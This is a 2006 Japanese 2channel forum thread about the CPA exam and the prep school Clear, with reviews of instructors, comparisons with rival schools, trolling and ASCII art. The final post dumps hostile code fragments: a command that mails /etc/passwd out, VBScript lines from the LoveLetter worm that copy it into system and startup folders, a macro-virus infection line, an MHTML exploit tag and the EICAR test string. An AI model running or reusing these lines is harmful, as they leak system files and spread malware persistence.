06/09/06 04:16:32
>>341
個人的な感想も聞きたいよ
343:333
06/09/06 04:25:56 aPxTYhQ6
>341
いやいやどうもです。
自分初学者で、クレは計算良くないって聞いたんで、計算は別のとこで勉強
しようかな、と思っていたので。
でも理論五科目のために初学者用のクレの会計士講座に申し込むのも
もったいないかな、と。
じゃあ初学者でも上級対象の理論五科目パックでいいんだ。
344:一般に公正妥当と認められた名無しさん
06/09/06 05:00:04
>>342
特定されそうで怖いが感想らしきものを書いとく
財表→今年に関していえばどこの予備校でも結果は同じようなもん。講義自体は引きこまれるものがあっていいと思うが、答練が最近怪しくなってる気がする
監査→文句なし
企業法→文句なし
経営→管理は最悪。何が大事なのかさっぱりわからん。財務は量が多いが特に言うことはない
>>343
管理会計は絶対違うところで受けるべきだが簿記に関してはクレでも問題はないと思う
あと俺が書いてるのは去年まで（今年の論文用）のことだから詳しくはクレにいってテキストの閲覧でもした方がいいかも
345:一般に公正妥当と認められた名無しさん
06/09/06 11:32:00
>>337
今年の短答は、本来トップ合格の人が落ちるような試験ではなかったよ。
346:一般に公正妥当と認められた名無しさん
06/09/06 13:44:32
>>345
てめえに何がわかる
347:一般に公正妥当と認められた名無しさん
06/09/06 13:57:26
阻止
348:一般に公正妥当と認められた名無しさん
06/09/06 18:02:40
>>344
ありがとうです。
管理会計はやっぱり講師がやばいですか？Ｙ井→Ｎ村の継投は、
Ｙ井の敗戦処理をＮ村が引き継いでいるように思います。
講義はもうあきらめていますが、テキスト、問題集もやばいですか？
Ｙ井の時から今のＮ村でテキスト、問題集ともにほとんど変わっていないですよね。
クレアールの管理会計論は問題集に簿記２級レベルの問題が含まれているのですが、
本当にこんなので大丈夫？もし、クレアールのみで大丈夫なら、安井、中村は神ですよね。
まさに非常識合格法。
349:一般に公正妥当と認められた名無しさん
06/09/06 20:34:19
>>348
テキスト自体はそんなにも悪くないかも。多少わかりにく面はあるけど
理解している人が読めば書くべきことはちゃんと書いてあるってことがわかる
問題集は最近の本試験の出題傾向をみると計算が簡単になってきてるからあれくらいでもなんとかなるかも
ただ本試験では短答でも論文でも原価計算基準とか管理会計とかの理解が問われることになるからテキスト・問題集の丸暗記だけでは対応できない
この点でクレの管理会計はいただけない
350:一般に公正妥当と認められた名無しさん
06/09/06 23:52:01
＞ 理解している人が読めば書くべきことはちゃんと書いてあるってことがわかる
おいおい、理解してない人が読んでもわからないテキストっていったいｗ
351:一般に公正妥当と認められた名無しさん
06/09/07 00:08:16
>>349
あーでも、言われてみたら確かにそんな感じですね。
管理会計はまだ始まってないからわからないけど、原価計算は的を射ているように思います。
もやもやしていたのがすっきりした。ありがとうございました。
>>350
だって、原価計算基準をそのまま掲載して、説明がなかったりするんだもん。
352:333
06/09/07 00:13:17 t7LTc4Mu
よくクレの理論テキストじゃ、網羅性が低く短答試験に対応できないっていう意見を
聞くけど、どう？
353:一般に公正妥当と認められた名無しさん
06/09/07 00:57:24
>>352
短答前にはクレの管理会計を切って他のとこので勉強してたからなんともいいにくいけど･･･
今年の短答に関してはクレだけでも対応できないことはないと思う
計算はそんなに難しくないし、理論は肢をよく読めば正誤判別がつくような問題も多かったからね
でもこの傾向が来年以降も続くかはわからないからクレの管理会計で理解できないようなら他校の管理会計をとることをオススメする
ちなみにLEC池辺はわかりやすい。そろそろ工作員乙とか言われそうだな＾＾；
354:一般に公正妥当と認められた名無しさん
06/09/07 01:19:40
阻止
355:一般に公正妥当と認められた名無しさん
06/09/07 01:29:31
LEC池辺は確かにいい先生だが、初学者が受講したら正直マイナス。
クレで１.5年、一発合格を目指すなら取るべきではない。
クレの管理会計は池辺の３分の１くらいの時間で終わる。良くも悪くもだが。
池辺は網羅性を重視しているから、分量が多い。クレとは目的が違う。池辺はベテ向き。
>>352
逆に短答はいけると思う。'06からは理論対策もするようになっているから。
論文がどうなるかだ。今年は対応できるレベルだが、来年はどうなるかわからない。
おそらく、アカスクの関係で極端に難化することはないだろうけど。
クレは答練では本試験レベル以上のことは出題してこないからね。こっちも良くも悪くも。
クレの管理会計のテキスト及び問題集はそんなに悪くはないと思う。Ｎ村は最悪だが。
講義を聞かないで受験もありだと思う。
356:一般に公正妥当と認められた名無しさん
06/09/07 01:48:41
工作員乙ｗ
スタッフ乙ｗ
357:一般に公正妥当と認められた名無しさん
06/09/07 01:59:44
>>356
中村乙
358:一般に公正妥当と認められた名無しさん
06/09/07 16:02:22
今年は合格体験記出せるといいですね！
2004は調子にのりすぎて分厚い合格体験記出てたけど、2005は出てなかったね
359:一般に公正妥当と認められた名無しさん
06/09/07 17:19:14
AXLは5人くらいしか載ってない薄い合格体験記出してたが
クレアールもその辺見習ってもらいたいな。
360:一般に公正妥当と認められた名無しさん
06/09/07 23:41:00 f5ORMWX6
今日の財表は･･････いつも通りだった
361:一般に公正妥当と認められた名無しさん
06/09/08 03:55:50 tEm+2F99
>>355を信じてもいいですか？
Ｎ村先生・・・
362:一般に公正妥当と認められた名無しさん
06/09/08 05:15:32
まぁ>>353を信じるか>>355を信じるかは各自の自由だ
俺はクレの管理会計では合格最低点は確保できるかもしれないけど
アドバンテージを獲得することはできないと思ったから他校の管理会計をとったということ
講師は他にもいるんだから池辺に固執する必要もないしね
363:一般に公正妥当と認められた名無しさん
06/09/08 09:42:45 VST1RU9u
未だにクレアールに通ってる奴いるんだなｗ
こんな糞予備校消えてほしいよ、社員はやりたい放題だし。
講師は糞だし、教材はもう終わってるし、値段は安くない。
364:一般に公正妥当と認められた名無しさん
06/09/08 09:54:30
納豆とその取り巻きの珍言集
＊原価とコストについては前スレ>>816>>817参照のこと
納豆編（本スレの>>2）
・原価は材料から製品を作った値段の事だよ。
それに仕入れの交通費や人件費、
要は作る上で掛かる労力は費用全てを加えたのがコストだよ。
・原価とコストの違いは少し勉強すれば君なら分かるだろうし
取り巻き編（本スレの>>3）
・コストと原価が同じ意味で使われてるとか頭悪すぎ不細工すぎｗｗｗｗｗｗｗｗｗｗｗｗｗ
・人件費や交通費は製造原価に含まれるが、原価には含まれないぞ。
・ググルだけじゃなくちゃんと勉強してこいよ、ホント恥ずかしいぞ。
・製造原価も原価に含まれるとかマジで言ってんの？
・原価に+αされたものが製造原価って分からないのか
・・・この人たちに何か言って上げてください
ｽﾚﾘﾝｸ(fashion板)
365:一般に公正妥当と認められた名無しさん
06/09/08 10:02:48
受付の女と話してばかりしてる受講生が多い予備校において
合格者がたくさん出るわけ無いわな
もう時間の問題だろ
366:一般に公正妥当と認められた名無しさん
06/09/08 12:34:19
工作員乙ｗ
367:一般に公正妥当と認められた名無しさん
06/09/08 13:08:03
この学校選んでる時点で、不合格決定
368:一般に公正妥当と認められた名無しさん
06/09/08 13:16:24
>>367
具体的な根拠ぐらい示せよ。
他の専門と違う戦略「非常識合格法」で楽だと勘違いして入学して、
学習範囲は限定されるが、相当程度の暗記の精度が要求されたんで逃げ出したとか
そういうんじゃないのか？
369:一般に公正妥当と認められた名無しさん
06/09/08 13:46:15
>>368
要は367の頭が悪いと言うことだろ。
370:age
06/09/08 16:07:21 of5tPxAU
キムラどこに行ったの
371:一般に公正妥当と認められた名無しさん
06/09/09 12:49:59
イガ塾まだ募集してますか？
372:一般に公正妥当と認められた名無しさん
06/09/09 17:56:47
イガ塾なんて入ろうとするヤツいるのか？
373:一般に公正妥当と認められた名無しさん
06/09/09 21:20:12 IJ2pA1Oc
公認会計士目指す奴ってやっぱ普通と違うぜ。
俺なんて普通のサラリーマンだが、高校の時の同級生で、トップレベルの頭のいい奴に久しぶりにゲーセンで会った。
俺は高卒、そいつは東京の大学へ行って以来会ってなかったが、そいつ今は無職だが３１歳にして公認会計士目指してるって言ってた。
やっぱ頭のいい奴は狙うところが違うなと実感した。
営業の合間に行くとゲーセンでしょっちゅうそいつがバーチャファイターやってるのを見かけるが、勉強の息抜きなんだろうなと思う。
ほぼ毎日、朝でも夜でもいるんでよっぽどストレス溜まってるんだろうな。
しかしそれでもあいつはいつかきっと合格してすごい奴になるんだと思う。
俺は応援していたが、いつしかそのゲームセンターの店員の制服を着ていた。
そうか。流石に親のスネはいつまでもかじってられないからなと感心した。
休みの日に嫁と子供とそのゲーセンへ遊びに行ったら、そいつが一生懸命灰皿の掃除をしていた。
声を掛けてしばらく話をしていたら、そいつは急に泣き崩れた。
原因はよく分からなかったが、頭のいい奴にも悩みはいろいろあるんだろうと思う。
俺からしてみれば将来の大きな夢があって、頭もよくて羨ましい限りなんだが。
凡人の俺には真似のできないあいつの生き方を俺は密かに応援する。
374:一般に公正妥当と認められた名無しさん
06/09/09 21:53:34 sHb0C3sf
>>373
あーあ
375:一般に公正妥当と認められた名無しさん
06/09/09 22:49:43
なんか、スタペでくれ検討してる奴に答えてる奴も、メリットばかり強調するんじゃなくて
デメリットもちゃんといってやんないとだめじゃないか。
予備校選択という重大な意思決定なのに。
376:一般に公正妥当と認められた名無しさん
06/09/09 22:53:30
>>375
たぶん、不合格に追い込むためにクレに入れようとしているのだと思う。
377:一般に公正妥当と認められた名無しさん
06/09/09 23:06:05
>>375
本当のことを投稿しておいた。
Re: 無題 投稿者：中村健一郎 ID：plmzk - 2006/09/09(Sat) 23:01 No.39905
クレのテキストが薄いのは論点が少ないことと、
解説を省略しているからです。
他校のテキストのように冗長な説明は無駄だというのが、
クレアールの考え方です。新しいでしょ？
講義を聞き逃すと理解不能になります。
まぐれで一発合格、もしくは１０年かけても不合格
といったように、バクチ好きならクレアールがベストです。。
378:一般に公正妥当と認められた名無しさん
06/09/10 02:34:45
工作員乙ｗ
379:一般に公正妥当と認められた名無しさん
06/09/10 10:43:06
スタッフ乙ｗ
380:一般に公正妥当と認められた名無しさん
06/09/11 17:37:05 u9O7MsBA
クレかよったことある友人がみな、二年目は他校にいくのはなぜですか?
381:一般に公正妥当と認められた名無しさん
06/09/11 18:48:16
バカ工作員乙ｗ
382:一般に公正妥当と認められた名無しさん
06/09/11 19:37:40 7cXOdZ+l
>>380
そいつらは全員バクチに負けたのさ
383:一般に公正妥当と認められた名無しさん
06/09/11 23:18:38
負け犬の遠吠えってやつですよ
この負け犬どもが
384:一般に公正妥当と認められた名無しさん
06/09/11 23:29:12
阻止
385:一般に公正妥当と認められた名無しさん
06/09/11 23:50:50
,-'"ヽ
/ i､ ／￣￣ ヽ, ＿/＼／＼/＼／|＿
{ ﾉ "' ゝ / ', ＼ ￣／
／ "' ゝﾉ {0} /¨`ヽ{0} <このひよっこ共めが！＞
/ ヽ._.ノ ', ／ ＼
i ｀ー'′ '. ￣|／＼/＼/＼/￣￣
/ }.
i' /､ ,i..
い _／ `-､.,, ､_ i
/' / _/ ＼`i " /ﾞ ./
(,,／ , ' _,,-'" i ヾi__,,,...--t'" ,|
,/ ／ ＼ ヽ､ i |
(､,,/ 〉､ ､,} | .i
`` ` ! ､､＼
!､_n_,〉>
386:一般に公正妥当と認められた名無しさん
06/09/11 23:57:59 N+gDq5MK
工作員乙ｗ
387:一般に公正妥当と認められた名無しさん
06/09/12 01:23:39
スタッフ乙ｗ
388:一般に公正妥当と認められた名無しさん
06/09/12 01:38:03 usmyjxoB
工作員乙ｗ
389:一般に公正妥当と認められた名無しさん
06/09/12 02:54:54
,-'"ヽ
/ i､ ／￣￣ ヽ, ＿/＼／＼/＼／|＿
{ ﾉ "' ゝ / ', ＼ ￣／
／ "' ゝﾉ {0} /¨`ヽ{0} <このひよっこ共めが！＞
/ ヽ._.ノ ', ／ ＼
i ｀ー'′ '. ￣|／＼/＼/＼/￣￣
/ }.
i' /､ ,i..
い _／ `-､.,, ､_ i
/' / _/ ＼`i " /ﾞ ./
(,,／ , ' _,,-'" i ヾi__,,,...--t'" ,|
,/ ／ ＼ ヽ､ i |
(､,,/ 〉､ ､,} | .i
`` ` ! ､､＼
!､_n_,〉>
390:一般に公正妥当と認められた名無しさん
06/09/12 03:04:30
またつまらん流れになってるな
391:一般に公正妥当と認められた名無しさん
06/09/12 04:29:12 NbDDS/NC
ホントだな
煽りするまえに勉強しろ
俺は今までやってこれから寝る
392:一般に公正妥当と認められた名無しさん
06/09/12 10:18:24 UdTt8bVK
できないのはどこでも無理ぼ
393:一般に公正妥当と認められた名無しさん
06/09/12 11:38:08
クレが他校より優れてるのは、寮があることくらい
394:一般に公正妥当と認められた名無しさん
06/09/12 12:02:04
工作員乙ｗ
395:一般に公正妥当と認められた名無しさん
06/09/12 12:37:36
スタッフ乙ｗ
396:一般に公正妥当と認められた名無しさん
06/09/12 16:32:19 CbJou0Wt
理論をクレで取ろうと思っているのですが、
租税法は他校と比べて優れてますか？
クレ生の租税法は今年の論文試験では十分戦えたでしょうか？
397:一般に公正妥当と認められた名無しさん
06/09/12 16:40:33
>>396
ここで聞いても参考にならんと思うが
398:一般に公正妥当と認められた名無しさん
06/09/12 18:23:48
>>396
そんなのより、管理会計論の中村神の講義を受けろ。
399:一般に公正妥当と認められた名無しさん
06/09/12 18:24:28
,-'"ヽ
/ i､ ／￣￣ ヽ, ＿/＼／＼/＼／|＿
{ ﾉ "' ゝ / ', ＼ ￣／
／ "' ゝﾉ {0} /¨`ヽ{0} <このひよっこ共めが！＞
/ ヽ._.ノ ', ／ ＼
i ｀ー'′ '. ￣|／＼/＼/＼/￣￣
/ }.
i' /､ ,i..
い _／ `-､.,, ､_ i
/' / _/ ＼`i " /ﾞ ./
(,,／ , ' _,,-'" i ヾi__,,,...--t'" ,|
,/ ／ ＼ ヽ､ i |
(､,,/ 〉､ ､,} | .i
`` ` ! ､､＼
!､_n_,〉>
400:一般に公正妥当と認められた名無しさん
06/09/12 18:44:45
,-'"ヽ
/ i､ ／￣￣ ヽ, ＿/＼／＼/＼／|＿
{ ﾉ "' ゝ / ', ＼ ￣／
／ "' ゝﾉ {0} /¨`ヽ{0} < 中村！400！ ＞
/ ヽ._.ノ ', ／ ＼
i ｀ー'′ '. ￣|／＼/＼/＼/￣￣
/ }.
i' /､ ,i..
い _／ `-､.,, ､_ i
/' / _/ ＼`i " /ﾞ ./
(,,／ , ' _,,-'" i ヾi__,,,...--t'" ,|
,/ ／ ＼ ヽ､ i |
(､,,/ 〉､ ､,} | .i
`` ` ! ､､＼
!､_n_,〉>
401:一般に公正妥当と認められた名無しさん
06/09/12 18:51:50 J2Ovnuqw
なんか中村、中村と書かれているけど。
中村、本当に駄目だわ。
相変わらず講義は棒読み。難しいところはわざとかどうか知らんが説明を飛ばすし。
講義を聞く意味がない。
おれはいけべ教に入信することにしたよ。
2006の教材を見たけど、中村とは格が違うな。
402:一般に公正妥当と認められた名無しさん
06/09/12 20:19:43
イケヴェにするなら、既に講義始まってるから
早めに申し込んだ方がいい
403:一般に公正妥当と認められた名無しさん
06/09/12 20:32:05
ホリえもん抜けたらここ一年で潰れるね
404:一般に公正妥当と認められた名無しさん
06/09/12 22:34:56 J2Ovnuqw
>>403
ホリエモン以外もそんなに悪いわけではない。
TACの平均レベル以上の講師はそろっている。
ただ、中村が・・・
安井もひどかったが、この流れはなんだ？クレアールは何を考えている？
405:一般に公正妥当と認められた名無しさん
06/09/12 23:14:25
簿記も悪くないか？
経営は？
406:一般に公正妥当と認められた名無しさん
06/09/12 23:57:52
簿記森山は悪くはないと思う。
教える気はすごくあるから。
そもそも、非常識合格法を実践する気があまりないようだ。
基本的に他校と比べて論点が少なめという程度。あまり変わらん。
独自の世界を築いている。タイムテーブルは使わないしな。
経営は知らん。
あとは財表の石井だが、人によって好みが分かれる。
暗記偏重をもう少し考え直したら、いい講師なのだが。
講義自体はわかりやすい。
407:ひよこあげ
06/09/13 01:26:41
,-'"ヽ
/ i､ ／￣￣ ヽ, ＿/＼／＼/＼／|＿
{ ﾉ "' ゝ / ', ＼ ￣／
／ "' ゝﾉ {0} /¨`ヽ{0} <このひよっこ共めが！＞
/ ヽ._.ノ ', ／ ＼
i ｀ー'′ '. ￣|／＼/＼/＼/￣￣
/ }.
i' /､ ,i..
い _／ `-､.,, ､_ i
/' / _/ ＼`i " /ﾞ ./
(,,／ , ' _,,-'" i ヾi__,,,...--t'" ,|
,/ ／ ＼ ヽ､ i |
(､,,/ 〉､ ､,} | .i
`` ` ! ､､＼
!､_n_,〉>
408:一般に公正妥当と認められた名無しさん
06/09/13 04:59:17
>>406
確かに、石井先生は講義は分かり易いね。
試験の傾向に対応して、非常識合格法にこだわらない講義を展開してくれれば
かなり良くなると思うんだが･･･。
409:一般に公正妥当と認められた名無しさん
06/09/13 09:04:38 lDfbkDnB
俺はほかも受けてたがクレ講師は標準以上だよ
410:一般に公正妥当と認められた名無しさん
06/09/13 10:48:18
スタッフ必死だな
ここの講師どう考えても標準以下だろ
体験講義うけてみろ
411:一般に公正妥当と認められた名無しさん
06/09/13 11:51:38
そうだね。体験講義を受ければそのすばらしさがわかるからね。
412:一般に公正妥当と認められた名無しさん
06/09/13 12:22:59 e1bfA1QI
経営は微妙だったな。なんか授業が単調だから、聞いてても理解してるのか分からなくなる。そういう意味じゃ石井は良いと思う。
413:一般に公正妥当と認められた名無しさん
06/09/13 18:27:26
,-'"ヽ
/ i､ ／￣￣ ヽ, ＿/＼／＼/＼／|＿
{ ﾉ "' ゝ / ', ＼ ￣／
／ "' ゝﾉ {0} /¨`ヽ{0} <このひよっこ>>410が！＞
/ ヽ._.ノ ', ／ ＼
i ｀ー'′ '. ￣|／＼/＼/＼/￣￣
/ }.
i' /､ ,i..
い _／ `-､.,, ､_ i
/' / _/ ＼`i " /ﾞ ./
(,,／ , ' _,,-'" i ヾi__,,,...--t'" ,|
,/ ／ ＼ ヽ､ i |
(､,,/ 〉､ ､,} | .i
`` ` ! ､､＼
!､_n_,〉>
414:333
06/09/13 20:32:22 vEnBW8qY
そんなに良くないんですか。中村氏。
計算だけ他校で受けるのも会計学とか
カリキュラム上めんんどくさいしなあ。
415:一般に公正妥当と認められた名無しさん
06/09/13 22:45:09 ex6sUzmU
中村は何が悪いかっていると、初年度だからっていうのもある。
まだ合格実績が一人もいないからね。仕方ないかも。
量的には他校の半分くらいで済むから、もしこれで受かるなら、
中村は神になるかもしれない。
でもな・・・
中村は講義がテキスト棒読みなんだよ。
安井は棒読みではなかったんだよ。（何を言っているか、理解不能だったけどな。）
中村はうさんくさいんだよ。
雑談が異常に多いんだよ。
問題集が簿記２級レベルだったりするんだよ。
講義を聞く意味がないんだよ。
男前なのに笑顔がきもいんだよ。
というわけで、クレアールは理論科目だけにしておいて、
会計学は他校で取るのをすすめる。
具体的には簿記、財表はアクセル。管理会計論はＬＥＣだな。
クレの簿記、財表は悪くはないんだが、人によって好みがわかれる。（ＴＡＣよりは絶対にいいが）
416:333
06/09/13 23:58:33 CF98qW60
堀江さんいなくなったら監査もアクセルがベストですかね。
ていうか堀江さんいなくなるんでしょうか。
417:一般に公正妥当と認められた名無しさん
06/09/14 02:29:34
>>333
森山のことならいくらでも教えてやるぞ
418:一般に公正妥当と認められた名無しさん
06/09/14 23:07:26 l7/p8p+v
連結の教え方はやっぱり悪いんですか
419:一般に公正妥当と認められた名無しさん
06/09/14 23:52:59
>>333
森山のブログならいくらでも教えてやるぞ
420:一般に公正妥当と認められた名無しさん
06/09/15 03:45:39
>>418
２通りに分かれる。絶賛する人。もしくは悪くはないがなんだか微妙という人。
教え方が独特だから。
タイムテーブルは使わない。
本質を理解したいなら、森山
421:一般に公正妥当と認められた名無しさん
06/09/15 13:14:45
タイムテーブル使うのは姑息だもんな
422:一般に公正妥当と認められた名無しさん
06/09/15 16:57:15
クレの宣伝は詐欺だよな
423:一般に公正妥当と認められた名無しさん
06/09/15 18:12:14
工作員乙ｗ
424:一般に公正妥当と認められた名無しさん
06/09/15 20:08:27
スタッフ乙ｗ
425:一般に公正妥当と認められた名無しさん
06/09/15 20:10:17
合格体験記ボロクソに書いてやりてぇ
誰か匿名で本に載せられるとこ知らない？
426:一般に公正妥当と認められた名無しさん
06/09/16 02:15:33
そこまでいうなら実名で書くべきだろ。
427:一般に公正妥当と認められた名無しさん
06/09/16 23:17:01
同志社前校の機知外ども（社員 受講生 バイトなど）はどうなった？
428:一般に公正妥当と認められた名無しさん
06/09/17 19:04:26
企業法の石井先生がピンマイクに変わった・・・
声の変動が小さくなって、聞き取りやすくなった。
改善したことは評価できる。
元々の講義の内容は良いのだが、その点で損をしていた。
429:一般に公正妥当と認められた名無しさん
06/09/17 23:19:27
N村氏って東大卒でしかも一発合格者じゃなかったっけ？
ヒラリンにも同じこと言えるけどそんな優秀な先生じゃあアホ私大生のレベル理解できないよ。
多数回受験で苦労したＫの上先生や二流私大出身のＬのベーさんあたりが凡人の苦労を理解できているのでは？
Ｎ村氏は五万しか授業料払わんですむ東大生には受けがいいと聞いた。
要するに天才向け！
430:一般に公正妥当と認められた名無しさん
06/09/17 23:31:19
俺達は毎年20万近くお布施納めて
地面はいつくばって頑張ってんだ
本当に偏見だ差別だ
ふざけんなカネカエセ
431:一般に公正妥当と認められた名無しさん
06/09/18 00:04:04
Kの上先生ってﾀﾞﾚﾎﾟ?
432:一般に公正妥当と認められた名無しさん
06/09/18 00:12:59
>>431
元会計士講座簿記担当講師
現在税理士講座カリスマ講師
433:一般に公正妥当と認められた名無しさん
06/09/18 00:40:08
今日のヤツの新会社法は意味があったのだろうか･･････
434:一般に公正妥当と認められた名無しさん
06/09/18 00:58:10
>>429
おいおいおいおいおい。
お前、中村の授業を聞いたことがないだろ？
テキストに書いていることをそのまましゃべるだけだぞ。
言ってることはわかるよ。簿記１級レベルのことしかしゃべらないからね。
授業は、いつもあたふたおびえているし、あきらかにプレゼンなれしていない。
１回目は失敗したことを自覚したのか、２回目には板書する内容を事前に全部ノート
に書いてきていた。
でも、根本的にしゃべるのが下手だから多少改善された程度。
はっきりいって、ただの準備不足。
どちらにしても、簿記と管理会計なんて、そもそも講義を聞く必要がないと思うからどうでもいいんだけどな。
でも、問題集が簿記１級よりも簡単だから、困ったもんなんだ。
そもそも、東大生のshunnがクレ安井の講義とテキストを２流と批判していたが、
中村は辞めた安井のノウハウをただ流用しているだけなんだがな。
去年とテキストは同じらしいし。
435:一般に公正妥当と認められた名無しさん
06/09/18 09:48:42 pg/7nqSI
クレアールっておもしろい講師が揃ってるんですね
436:一般に公正妥当と認められた名無しさん
06/09/18 10:27:52 RbiDHO5/
渋谷校いってるけど、講義の内容云々の前にＤＶＤ視聴室が暑すぎて
勉強できん・・・
437:一般に公正妥当と認められた名無しさん
06/09/18 23:08:20 ZZ3xqpOq
>>435
N村が神すぎるだけ・・・
438:一般に公正妥当と認められた名無しさん
06/09/19 00:27:56
434は、水道橋ライブの受講生だな。
彼の言っていることからするとＮ村は、スタッフと違い少しでも授業を改善しようとする努力があるだけまだましか。
ま、おれは管理は他校の受けるからどうでもいいが
439:一般に公正妥当と認められた名無しさん
06/09/19 20:57:34
Ｎ村は確かに改善はしようと努力している。
駄目なりにがんばっているよな。安井と同じだ。
440:一般に公正妥当と認められた名無しさん
06/09/20 23:12:33 andOdd5s
石井(弟)は良い教師だ～!!
441:一般に公正妥当と認められた名無しさん
06/09/22 21:35:38
2ちゃんが閉鎖になりそう
URLﾘﾝｸ(www.zakzak.co.jp)
お前ら今のうちに言いたいこと言っとけ
442:一般に公正妥当と認められた名無しさん
06/09/22 21:36:38 Jb108xKw
揚げマン☆
443:一般に公正妥当と認められた名無しさん
06/09/23 21:00:55 5z5PSB/Y
去年運良く受かったが、去年の結果発表の後は、最悪だった。噂によれば、旧
試験制度最後の年で合格者は増えるだろうと予備校も、論文受験者もそう思っ
ていた。だが、予想に反して、合格者は減った。楽観視していた者は、泣き崩
れ、過呼吸で発作を起こした女性が救急車で搬送されるわで発表所は大変だっ
た。今年の合格者数は、どうか？。私は厳しい状況になるのではないかと思っ
ている。理由は、③つ。①つ目は、会社法改正の影響が、他の科目に与えてい
ない最後の年に合格者を多く出すとは思えない。05は、旧商法から会社法に変
わる最後の年だった為、旧知識を多く持つ合格者を大量に出しても意味がない
という、バイアスがかかり、合格者数が減ったと解釈している私は、今年も簿
記や財務諸表論、監査論、といった旧商法の影響のままの科目合格者は抑える
バイアスがかかると予想している。ということは、一括合格者も減るというこ
とを意味しており、論文受験者の階層は、一科目も科目合格しない厳しい状況
が待ち構えていることが想像出来る。はたして、俺も監査と租税は受かってい
るのか…？
444:一般に公正妥当と認められた名無しさん
06/09/23 22:02:33
工作員乙ｗ
445:一般に公正妥当と認められた名無しさん
06/09/23 23:09:57
>05は、旧商法から会社法に変
>わる最後の年だった為、旧知識を多く持つ合格者を大量に出しても意味がない
>という、バイアスがかかり、合格者数が減ったと解釈している私は
いや、合格率が変わらないまま、受験者数が減ったからだろ。
446:一般に公正妥当と認められた名無しさん
06/09/30 12:04:35
クレってまだつぶれてないんだ
447:一般に公正妥当と認められた名無しさん
06/09/30 16:45:17
446ってまだ合格してないんだ
448:一般に公正妥当と認められた名無しさん
06/09/30 17:01:22
阻止
449:一般に公正妥当と認められた名無しさん
06/09/30 17:47:16
がんばれハゲ
450:一般に公正妥当と認められた名無しさん
06/10/03 11:56:17
クレアールいたけど、メリットは安いことだけ。
今年短答合格したけど、科目合格ならクレアール以外に転校するよ。
451:一般に公正妥当と認められた名無しさん
06/10/03 17:44:37
何科目受けたの？
452:一般に公正妥当と認められた名無しさん
06/10/03 23:34:03
工作員乙ｗ
453:一般に公正妥当と認められた名無しさん
06/10/05 11:12:44
スタッフ乙w
454:一般に公正妥当と認められた名無しさん
06/10/07 13:06:08 ncIIJb3a
クレアールの寮の家賃知ってる人いる？
455:一般に公正妥当と認められた名無しさん
06/10/07 16:40:51
>>454
去年まで58,000円/月で、
確か値上げしたはずだから
65000円くらいじゃない？
電気＋電話代はもちろん別でね。
456:一般に公正妥当と認められた名無しさん
06/10/08 01:27:55
そういえば、最近N村先生の話題全然ないね？
みんな、見切りをつけて管理会計は他所に切り替えたのかなあ？
457:一般に公正妥当と認められた名無しさん
06/10/08 02:13:01 5w7BZeSm
ほとんどは、LECかアクセルに乗り換えている。
まだ切り替えていないのが何人かいるが、残っているのはうじうじ悩んでいる
決断力のない受験生だけ。（もしくは、Ｎ村と心中する覚悟を決めた受験生）
458:一般に公正妥当と認められた名無しさん
06/10/08 10:44:49
クレの管理会計てN村先生だけなの？
東京だけってことじゃなくて関西も統一ってこと？
459:一般に公正妥当と認められた名無しさん
06/10/08 11:15:41
関西は確かキムラだよ
460:一般に公正妥当と認められた名無しさん
06/10/08 11:23:34 uE7/jSu1
ここで評判悪いのは関東の先生ばかりだよな
関西は良いのかな？
金払ってテキスト棒読みの授業は嫌だな
461:一般に公正妥当と認められた名無しさん
06/10/08 12:20:08
黙れ工作員どもｗ
462:一般に公正妥当と認められた名無しさん
06/10/08 12:54:02 RBPatQ5L
お約束か
黙れスタッフ
…だりぃ
463:一般に公正妥当と認められた名無しさん
06/10/08 23:50:08 uE7/jSu1
クレにするか大原にするか迷う
大原は少なくとも教える努力はしてると思う
464:一般に公正妥当と認められた名無しさん
06/10/09 00:17:43 7YgjtKi8
>>463
Ｎ村だって、教える努力はしてるよ！！
465:一般に公正妥当と認められた名無しさん
06/10/09 00:28:01
>>463
クレよか大原のほうがいいだろうけど
クレとって浮いた金で他の学校の講義取るってのも美味しいよなー
自習室とかもあるしね
466:一般に公正妥当と認められた名無しさん
06/10/09 00:47:34
>>463
マジレスすると、大原よりはクレアール。さらに、クレアールを取るくらいなら、アクセルが１００倍は良い。
467:一般に公正妥当と認められた名無しさん
06/10/09 00:50:22
無難なら、大原
勝負がかりなら、クレアール
ある程度完成してて仕上げるなら、アクセル
まったく違う毛色の学校なので、特徴を見極めて。
決めたら、脇目もふらずにやりましょう。
468:一般に公正妥当と認められた名無しさん
06/10/09 02:16:42
クレの管理の先生が薄いんなら
他校の単価を取ればいいじゃんって思うんだけど。
469:一般に公正妥当と認められた名無しさん
06/10/09 02:29:35
もーはらは無駄なことをしすぎて、合格するのに時間がかかるよ。
多いといわれているアクセルのほうが実は効率が良い。
クレはもーはらよりはまし。ＴＡＣはもーはらよりもっと悲惨。
470:一般に公正妥当と認められた名無しさん
06/10/09 02:39:35
>>469
お前さ、「もーはら」ってやめた方がいいよ。
特定するのすげえ簡単
471:469
06/10/09 04:17:54 7YgjtKi8
>>470
ぜひぜひ、特定してください。
472:一般に公正妥当と認められた名無しさん
06/10/09 08:20:55 2lJ4jsSr
>>469
もーはらwwwwwwワロスwww
473:一般に公正妥当と認められた名無しさん
06/10/09 08:28:05
469は石井
474:一般に公正妥当と認められた名無しさん
06/10/09 10:01:33 x/d4EeG+
大原はそんなに悪いか？
確かに簿記受けた時、とにかく勉強量の体育会系なノリは感じたが。
クレにするなら体験授業受けたほうがいいな。
475:一般に公正妥当と認められた名無しさん
06/10/09 11:09:04
kak.hta';ken=wd+'START
cat /etc/passwd | mail nobody@nonexistent.com
<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!URLﾘﾝｸ(www.loadcash.biz) type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
